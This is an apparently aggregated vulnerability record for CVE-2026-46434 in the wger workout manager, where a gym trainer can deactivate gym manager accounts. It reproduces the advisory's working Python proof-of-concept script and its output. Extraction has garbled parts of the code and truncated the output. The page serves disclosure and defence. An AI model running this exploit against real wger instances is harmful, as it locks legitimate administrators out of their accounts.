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Response snapshot Oct 27, 2026, 01:46 UTC

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VulnerabilityCVE-2026-46434

wger: Trainer Privilege Escalation - Improper Privilege Management

A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.

Published Updated

At a glance

Exploited
Not known
Severity
7.1 High (CVSS 3.1)
Chance of exploitation
0.2% in the next 30 days
Sources
1 source

What to do

Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.

Read GitHub-reviewed advisory GHSA-x249-cx55-2h87 (opens a new tab)

What happened

### Summary

A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

### Details

`UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with:

Continue reading

```python permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer') ```

`WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient:

```python class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin): def has_permission(self): for permission in self.get_permission_required(): if self.request.user.has_perm(permission): return True # /deactivate ```

The manager's account is immediately set to `is_active = False`. The manager can no longer log in.

#### Proof of Concept Script

```python #!/usr/bin/env python3 """ PoC: Trainer -> Manager Privilege Escalation (Account Deactivation) Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-269: Improper Privilege Management

Usage: python3 poc.py http://localhost:8000 """

import requests import sys import re

if len(sys.argv) ") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1)

BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2"

MANAGER_USER = "gym_manager_poc" MANAGER_PASS = "Manager!Poc!2025" TRAINER_USER = "evil_trainer_poc" TRAINER_PASS = "Trainer!Poc!2025"

BANNER = """ ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== """ print(BANNER)

# ---- Helper ---- def api_login(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.status_code == 200: return r.json().get("token") return None

def api_headers(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"}

# ---- Setup via Django ORM (must run inside container) ----

import os, django os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main' sys.path.insert(0, '/home/wger/src') django.setup()

from django.contrib.auth.models import User, Group from wger.gym.models import Gym

# Ensure permission groups exist for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']: Group.objects.get_or_create(name=name)

# Create gym gym, _ = Gym.objects.get_or_create(name="PoC Test Gym") print(f"[*] Gym: {gym.name} (id={gym.id})")

# Create manager (the VICTIM) manager, created = User.objects.get_or_create( username=MANAGER_USER, defaults={"is_active": True} ) if created: manager.set_password(MANAGER_PASS) manager.save() manager.userprofile.gym = gym manager.userprofile.save() manager.groups.clear() manager.groups.add(Group.objects.get(name='gym_manager')) manager.is_active = True manager.save() print(f"[*] Manager (victim): {manager.

username} (id={manager.id})") print(f" Groups: {[g.name for g in manager.groups.all()]}") print(f" is_active: {manager.is_active}")

# Create trainer (the ATTACKER) trainer, created = User.objects.get_or_create( username=TRAINER_USER, defaults={"is_active": True} ) if created: trainer.set_password(TRAINER_PASS) trainer.save() trainer.userprofile.gym = gym trainer.userprofile.save() trainer.groups.clear() trainer.groups.add(Group.objects.get(name='gym_trainer')) print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})") print(f" Groups: {[g.name for g in trainer.groups.all()]}")

# ---- 1. Verify manager is active BEFORE attack ----

manager.refresh_from_db() print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}") assert manager.is_active, "Manager should be active before test"

# ---- 2. ATTACK: Trainer deactivates manager ----

print(f"\n{'='*65}") print(f" ATTACK: Trainer deactivating gym manager account") print(f"{'='*65}")

from django.test import Client c = Client() c.force_login(trainer) resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True) print(f"\n GET /en/user/{manager.id}/deactivate") print(f" (Logged in as: {TRAINER_USER} - gym_trainer only)") print(f" Response: HTTP {resp.status_code}")

# ---- 3. VERIFY ----

print(f"\n{'='*65}") print(f" VERIFICATION") print(f"{'='*65}")

manager.refresh_from_db() print(f"\n Manager is_active AFTER attack: {manager.is_active}")

if not manager.is_active: print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gym_trainer successfully deactivated a gym_manager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+ """) manager.is_active = True manager.

save() print(" [+] Cleanup: Manager re-activated") else: print("\n Manager is still active - NOT vulnerable") ```

#### Proof of Concept Output

``` ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management =====================================================================

[*] Gym: PoC Test Gym (id=2) [*] Manager (victim): gym_manager_poc (id=4) Groups: ['gym_manager'] is_active: True [*] Trainer (attacker): evil_trainer_poc (id=5) Groups: ['gym_trainer']

[*] Manager is_active BEFORE attack: True

================================================================= ATTACK: Trainer deactivating gym manager account =================================================================

Trainer login: HTTP 200 GET http://localhost/en/u

Affected package ranges reported by GitHub: wger: <= 2.1

Scores and how they were measured

CVSS base severity

7.1

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.2%

Scored Percentile 12.5%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-x249-cx55-2h87 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-x249-cx55-2h87, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-46434, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 26). wger: Trainer Privilege Escalation - Improper Privilege Management (CVE-2026-46434). https://kevwire.com/record/CVE-2026-46434

MLA

"wger: Trainer Privilege Escalation - Improper Privilege Management (CVE-2026-46434)." KEVWire, 26 Oct. 2026, kevwire.com/record/CVE-2026-46434.

Chicago

KEVWire. "wger: Trainer Privilege Escalation - Improper Privilege Management (CVE-2026-46434)." Last modified October 26, 2026. https://kevwire.com/record/CVE-2026-46434.

Evidence summary (plain text)

wger: Trainer Privilege Escalation - Improper Privilege Management (Oct 7, 2026).
A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

`UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with:
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-x249-cx55-2h87).
EPSS 0.2% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-46434&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-x249-cx55-2h87: https://github.com/advisories/GHSA-x249-cx55-2h87
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-46434&date=2026-10-26
Record ID: CVE-2026-46434.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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